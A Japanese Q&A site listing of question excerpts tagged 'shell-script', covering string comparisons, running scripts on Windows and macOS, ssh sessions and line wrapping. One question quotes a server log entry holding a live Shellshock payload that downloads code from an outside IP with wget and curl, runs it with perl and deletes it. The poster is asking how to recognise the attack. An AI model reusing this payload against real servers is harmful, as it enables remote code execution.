タグ付けされた質問 「shell-script」

シェルスクリプトは、オペレーティングシステムのシェルまたはコマンドラインインタープリター用に記述されたスクリプトです。

2
if / elseステートメントで変数を整数ではなくテキスト文字列と比較するにはどうすればよいですか?
シェルスクリプトを作成する過程で、スクリプトの途中にある次のif / elseステートメントの問題に遭遇しました。 if [ $act -eq "add" ] then read - "add or update: " $comm git commit -m "$comm $file" else git commit -m "$act $file" fi 返されるエラー: ./gitup: line 13: [: add: integer expression expected その後、残りのスクリプトを続行します。ifセグメントで変数を整数ではなく文字列入力と評価/比較するにはどうすればよいですか。私が試した他のいくつかのことの中で「!=」を使用する場合、別のエラーが必要でした。

3
これは攻撃なのか、それとも心配すべきものなのか?砲弾ショック?
access.log私のテストサーバーでこれを見ました: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" アドレスはどれも私や私たちのIP範囲(またはその他の問題)に関連していません。すぐにShellshockのセキュリティバグ /「bashdoor」について考えていました。 実際に誰かがcurlサーバーに「何か」を試み、その「何か」を実行し、その後で「何か」を削除したように見えます-rf。 これは純粋なテストサーバーであり、害はありません(==再インストール以外に害はありません)-しかし、タイミングは非常に興味深いものです。私が思い出す限り、このようなものを見たことがありません。 心配する必要がありますか?これが何であるかについて誰にもアイデアがありますか?

8
Windowsでシェルスクリプトを実行するにはどうすればよいですか?[複製]
この質問にはすでに回答があります: Windowsで.shファイルを実行するには? (15回答) 2年前に閉店。 この質問は、Super Userで回答できるため、Stack Overflowから移行されました。 7年前に移行され ました。 私はMacユーザーであり、Windowsを初めて使用します。Windowsでシェルスクリプトを実行するにはどうすればよいですか? 通常、テキストファイルに拡張子.shを付けて保存し、ターミナル経由で実行します。しかし、Windowsでこれを行うにはどうすればよいですか?

7
ターミナルウィンドウを表示せずにOS Xでシェルスクリプトを実行しますか?
特定のiTermセッションを開くいくつかのキーボードショートカットを設定しようとしています。これは、BetterTouchToolとAppleScriptのちょっとした魔法でできました。問題は、OS XがGUIを介して(つまり、Finderから、またはBetterTouchToolからのキーボードショートカットとして)実行するシェルスクリプトのターミナルウィンドウを開くことを要求することです。別のターミナルからスクリプトを直接実行すると、ターミナルウィンドウは表示されません。 私が見つけた回避策は、余分なターミナルウィンドウの問題を解決するスクリプトを.appディレクトリにラップすることでしたが、他のいくつかの問題があります(例えば、OS Xは各iTermウィンドウを個別のアプリとして扱い、ドックを混乱させるようです)。(編集:この動作は、実際にはスクリプトのバグが原因でした。以下を参照) また、Spaces設定でターミナルアプリを別の仮想デスクトップに割り当てて見えないようにしようとしましたが、スクリプトを実行する前に最初にそのデスクトップに切り替えるだけです。 この動作を完全に無効にする方法はありますか?ターミナルの環境設定で、スクリプトの終了後にウィンドウを閉じる設定を既に見つけましたが、ターミナルウィンドウが1秒間ポップアップするのはいらいらします。

3
コマンドラインまたはスクリプトからMacのアーキテクチャを決定しますか?
シェルスクリプトを書いていますが、PPCやIntelなどのアーキテクチャを知る必要があります。昔、あなたに言ったプログラム/ bin / archがありましたが、私のMacにはないようです。 これを簡単に行う方法はありますか?ログファイル内の何かのGrep?副作用としてそれを吐き出す他のプログラムを呼び出しますか? 私が実行しているOSのバージョンも知っておくといいのですが、それは必ずしも必要ではありません。

3
パイプを使用してコマンドに2つの引数を渡す
通常、引数を1つ渡すだけで済みます。 echo abc | cat echo abc | cat some_file - echo abc | cat - some_file 2つの引数を渡す方法はありますか?何かのようなもの {echo abc , echo xyz} | cat cat `echo abc` `echo xyz` 最初に両方の結果をファイルに保存できます echo abc > file1 echo xyz > file2 cat file1 file2 しかし、その後、誤ってファイルを上書きする可能性がありますが、これは大丈夫ではありません。これは、非対話型のスクリプトになります。基本的に、2つの任意のコマンドの結果をcatファイルに書き込まずに渡す方法が必要です。 更新:申し訳ありませんが、この例は問題を隠しています。一方で{ echo abc ; echo xyz ; …

7
sshとsshを使用したシェル:終了方法
次のように、SSHを介して遠隔スクリプトを起動しています。 ssh user@ipaddress '~/my_script.sh' すべては順調に進んでいますが、スクリプトが終了すると、接続は閉じられません。現在の接続を解除するには、CTRL-Cを押す必要があります。 「〜/ my_script.sh」で「exit」コマンドを試しましたが、役に立たないです。「〜/ my_script.sh」で「ログアウト」コマンドを実行しようとすると、メッセージが表示されます。 logout: not login shell: use exit ... スクリプトが完了したら、SSHを自動的かつ適切に閉じる方法はありますか? (明確化のための修正:)ここに私のスクリプトの中にあるものがあります: #!/bin/sh path_sources_qas=/sources/QuickAddress/ path_qas_bin=/usr/bin/qas umount_disque_qas() { # Umount du disque 'qas' s'il n'avait pas été 'umount' : nom_disque_monte=`cat /etc/mtab | grep qas | awk '{ print $2}'` if [ "$nom_disque_monte" != "" ] then …
22 bash  ssh  shell-script 


1
Bash:オプションでコマンドに引数を渡す
別の変数に依存するコマンド呼び出しに引数を追加しようとしています。シェルスクリプトコードをご覧ください。 curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com 例では、titlenull以外が指定された場合、引数がに追加されcurlます。 titleスペースが含まれている場合、これは正しく機能しません。また$(...)、titleがnullの場合、予期しない空の引数を生成するため、引用符で囲むことができませんでしたcurl。 期待どおりに機能させるにはどうすればよいですか。

4
すべてのスクリプトに* .shおよび* .rbファイル拡張子を付ける必要がありますか?
$ HOME / binディレクトリに、手巻きの実行可能スクリプトがたくさんあります。bashで書かれたものもあれば、Rubyで書かれたものもあります。それらはすべて、シェルに使用するインタープリター(私の場合はbashまたはRuby)を伝えるシェバン行を先頭に持っています。 これらのスクリプトにファイル拡張子を付けて、それらが記述されているスクリプト言語を示す方が良いのではないかと思っています。たとえば、Rubyのスクリプトには* .rbサフィックスが付いており、bashのスクリプトには* .shサフィックスが付いています。 現在、これらのスクリプトにはファイル拡張子のない単純な名前が付いています。 ベストプラクティスは何ですか?


2
任意のシェルで実行されるシェルスクリプトの作成(複数のシバン行を使用しますか?)
私はシェルスクリプトの詳細を調べ始めたばかりで、常にスクリプトをファイルにスローし、マークを付けてchmod +x完了/path/to/script.shし、デフォルトのインタープリターをそのまま使用できるようにしました。シェルに使用しました。どうやら/bin/sh、zshプロンプトからスクリプトを実行した場合でも、スクリプトにzsh固有のものを入れ始め、実行しないと失敗するため、デフォルトであるようですzsh /path/to/script.sh。 ポイントを得るために、ここに私の質問があります: #!/path/to/shell先頭にシェバン行()がない場合、どのシェルがスクリプトを実行しますか?推測します/bin/shが、確認できません。 任意のプラットフォームで実行されるシェルスクリプトの記述に関して、「ベストプラクティス」と見なされるものは何ですか?(OK、これは一種の無制限の) zshを使用しようとし、zshが利用できない場合はbashにフォールバックするスクリプトを書くことは可能ですか?以下のように2つのシバン行を入れてbad interpreter: /bin/zsh: no such file or directoryみましたが、zshのないマシンで試してみるとエラーが出ます。 #!/bin/zsh #!/bin/bash

5
スクリプトがラップトップまたはデスクトップで実行されているかどうかをプログラムで判断しますか?
ラップトップまたはデスクトップコンピューターで実行されている場合、bashスクリプト内から(プログラムで)判断する信頼できる方法はありますか? 私は明らかにユーザーにそれらを尋ねるように促すことができますが、それはかなり不格好です。

4
bashで一重引用符で囲まれた文字列でアポストロフィをどのようにエスケープしますか?
bashが単一引用符で囲まれた文字列のアポストロフィ文字のエスケープをどのように評価するのか理解できません。 以下に例を示します。 $ echo ''\''Hello World'\''' 'Hello World' # works $ echo '\'Hello World\'' > # expects you to continue input これについての説明を探してみましたが、何も得られませんでした。ここでbashは何をしていますか?

1
非常に長い単語の行を最大長の別の行に分割する
スペースで区切られた単一の長い行にパッケージのリストを出力するスクリプトがあります。この行に含まれる情報は、後でユーザーに提示されるテキストファイルに挿入されます。 長い行を定義済みの最大長(たとえば80文字)で複数の行に分割しますが、分割はスペースでのみ行う必要があります(したがって、正確に80文字の後にスペースがなく、次の要素が長く)。 単一のエントリが80文字を超える場合はおそらく発生しません。このエントリが途中で分割されたり、単一の長い行になるかどうかは気にしません。 基本的に、自動ラッピングが選択されている場合、ほとんどのテキストエディターが行うことと同じですが、シェルスクリプトから実行したいです。 入力例: libkrb5-3 libk5crypto3 openssh-server libc-bin base-files sysvinit-utils bind9-host python-minimal python-reportbug dnsutils perl libgnutls-openssl27 mutt reportbug libdns88 perl-base whois bash libgnutls26 perl-modules libapt-inst1.5 python2.7 libexpat1 libisccc80 libgssrpc4 apt-utils procmail apt locales liblwres80 libkrb5support0 python openssh-client multiarch-support libgcrypt11 dpkg libxml2 libbind9-80 wget libapt-pkg4.12 file ssh libkadm5clnt-mit8 libisccfg82 libkadm5srv-mit8 …

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.